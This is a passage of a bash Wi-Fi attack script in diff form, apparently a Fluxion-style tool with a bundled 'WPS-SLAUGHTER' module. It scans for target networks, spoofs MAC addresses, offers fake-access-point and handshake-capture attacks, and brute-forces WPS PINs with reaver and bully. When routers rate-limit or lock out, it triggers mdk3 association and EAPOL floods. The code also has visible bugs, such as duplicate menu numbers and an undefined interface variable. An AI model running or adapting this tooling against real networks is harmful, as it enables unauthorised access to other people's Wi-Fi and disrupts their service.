[:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$blue ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$blue"1)"$transparent" All channels " - echo -e " "$blue"2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$blue"6"$transparent" " - echo -e " Multiple channels "$blue"1-5"$transparent" " - echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo " ##### Select Attack Option #####" - echo " " - echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" - echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" - echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" - echo -e " "$blue"5)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;; - 5 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} -function wps { - -clear -echo " -██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ -██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ -██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ -██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ -╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ -╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ - -" - -echo "WPS-SLAUGHTER BY: Apathetic Euphoria" -echo "+ Help and Support from Aanarchyy" - -sleep 3 -clear - -#!/bin/bash -clear -declare BSSID; -declare ESSID; -declare CHANNEL; -declare WIFI_MONITOR; -declare WIFI_MONITOR2; -declare WIFI_MONITOR3; -declare WIFI_MONITOR4; -declare WIFI_MONITOR5; -sleep 3 -clear - -sudo rfkill unblock all - -#####Functions for Monitor Mode#### - -enable_mon_mode_1() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 1 -sudo iwconfig $WIFI_MONITOR mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_2() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 1 -sudo iwconfig $WIFI_MONITOR2 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR2 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_3() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 1 -sudo iwconfig $WIFI_MONITOR3 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR3 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_4() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 1 -sudo iwconfig $WIFI_MONITOR4 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR4 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_5() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 1 -sudo iwconfig $WIFI_MONITOR5 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR5 up -echo "Monitor Mode Enabled" -} - -####End of Functions for Monitor Mode#### - -#### Functions for MAC CHANGER #### - -mac_change_1() -{ -echo "Setting the MAC Address on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 3 -macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR up -echo "MAC Changed" -} - -mac_change_2() -{ -echo "Setting the MAC Address on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 3 -macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR2 up -echo "MAC Changed" -} - -mac_change_3() -{ -echo "Setting the MAC Address on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 3 -macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR3 up -echo "MAC Changed" -} - -mac_change_4() -{ -echo "Setting the MAC Address on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 3 -macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR4 up -echo "MAC Changed" -} - -mac_change_5() -{ -echo "Setting the MAC Address on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 3 -macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR5 up -echo "MAC Changed" -} - -####End of Functions for MAC CHANGER #### - - -####Target Scanner#### - -scan_for_targets() -{ - -sudo ifconfig $WIFI_MONITOR down -sudo iwconfig $WIFI_MONITOR mode managed -sudo ifconfig $WIFI_MONITOR up - -eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -conditional_clear -mostrarheader - -echo "Select your wlan" -echo "" -echo -e ""$blue"0)"$transparent" Rescan" -echo -e ""$blue"1)"$transparent" $ESSID1" -echo -e ""$blue"2)"$transparent" $ESSID2" -echo -e ""$blue"3)"$transparent" $ESSID3" -echo -e ""$blue"4)"$transparent" $ESSID4" -echo -e ""$blue"5)"$transparent" $ESSID5" -echo -e ""$blue"6)"$transparent" $ESSID6" -echo -e ""$blue"7)"$transparent" $ESSID7" -echo -e ""$blue"8)"$transparent" $ESSID9" -echo -e ""$blue"9)"$transparent" $ESSID10" -echo -e ""$blue"10)"$transparent" $ESSID11" -echo -e ""$blue"11)"$transparent" $ESSID11" -echo -e ""$blue"12)"$transparent" $ESSID12" -echo -e ""$blue"13)"$transparent" $ESSID13" -echo -e ""$blue"14)"$transparent" $ESSID14" -echo -e ""$blue"15)"$transparent" $ESSID15" -echo -e ""$blue"16)"$transparent" $ESSID16" -echo -e ""$blue"17)"$transparent" $ESSID17" -echo -e ""$blue"18)"$transparent" $ESSID18" -echo -e ""$blue"19)"$transparent" $ESSID19" -echo -e ""$blue"20)"$transparent" $ESSID20" -echo -e ""$blue"21)"$transparent"EXIT" -echo -e "" - - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 21) -clear -exitmode -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - -} - -####End of Target Scanner#### - -################################## Functions For MDK3 ######################################## - -run_mdk3_ASOC1() -{ - xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" -} - -run_mdk3_EAPOL1() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC2() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" -} - -run_mdk3_EAPOL2() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC3() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" -} - -run_mdk3_EAPOL3() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC4() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" -} - -run_mdk3_EAPOL4() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC5() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" -} - -run_mdk3_EAPOL5() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" -} - -##################################End Of Functions For MDK3 ######################################## - -conditional_clear -mostrarheader - -echo "#### How many Wlan Adapters will you use? ####" -echo " " -echo -e ""$blue"1)"$transparent" 1 ADAPTER" -echo -e ""$blue"2)"$transparent" 2 ADAPTERS" -echo -e ""$blue"3)"$transparent" 3 ADAPTERS" -echo -e ""$blue"4)"$transparent" 4 ADAPTERS" -echo -e ""$blue"5)"$transparent" 5 ADAPTERS" -echo -e ""$blue"4)"$transparent" Back" -echo " " -echo -n " #> " - -read a -case $a in - 1) -clear -echo -read -p " - What is the name of your Wlan Adapter? (Ex:wlan0) - ": ADAPTER; - -clear - -scan_for_targets - - -clear - -enable_mon_mode_1 - -sleep 1 - -clear - - - -conditional_clear -mostrarheader - -echo "Change MAC Address" -echo " " - echo -e " "$blue"1)"$transparent" yes" - echo -e " "$blue"2)"$transparent" no" - echo " " - echo -n " #> " - -read c -case $c in - 1) -clear - -mac_change_1 - -sleep 1 - -clear -;; - 2) -clear -;; - *)Invalid Option -;; -esac - - -menu () { -clear - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" - -read d -case $d in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 2) -clear - -conditional_clear -mostrarheader -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -clear -conditional_clear -mostrarheader -echo "Second WIFI_MONITOR -1)Yes -2)No" - -read f -case $f in - 1) -clear - -mac_change_1 - -mac_change_2 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - - -menu () { -clear 